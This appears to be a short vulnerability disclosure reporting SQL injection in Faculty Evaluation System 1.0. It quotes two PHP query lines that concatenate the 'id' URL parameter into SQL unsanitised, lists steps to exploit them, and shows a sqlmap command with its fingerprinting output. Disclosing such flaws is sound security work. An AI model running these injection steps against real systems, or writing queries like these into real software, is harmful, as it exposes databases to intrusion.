SQLi - Faculty Evaluation System

[Andrey Stoykov <mwebsec () gmail com>]

# Exploit Title: Faculty Evaluation System - SQL Injection
# Date: 07/2023
# Exploit Author: Andrey Stoykov
# Version: 1.0
# Tested on: Windows Server 2022


SQLi #1

File: edit_evaluation

Line #4
$qry = $conn->query("SELECT * FROM ratings where id =
".$_GET['id'])->fetch_array();
[...]


SQLi #2

File: view_faculty.php

Line #4

// Add "id" parameter after "view_faculty" parameter then add equals "id"
with integer
[...]
$qry = $conn->query("SELECT *,concat(firstname,' ',lastname) as name FROM
faculty_list where id = ".$_GET['id'])->fetch_array();
[...]


Steps to Exploit:

1. Login to application
2. Browse to following URI "
http://host/eval/index.php?page=view_faculty&id=1";
3. Copy request to intercept proxy to file
4. Exploit using SQLMap


sqlmap -r test.txt  --threads 1 --dbms=mysql --fingerprint

[...]
[INFO] testing MySQL
[INFO] confirming MySQL
[INFO] the back-end DBMS is MySQL
[INFO] actively fingerprinting MySQL
[INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.7
               comment injection fingerprint: MySQL 5.6.49
               fork fingerprint: MariaDB
[...]
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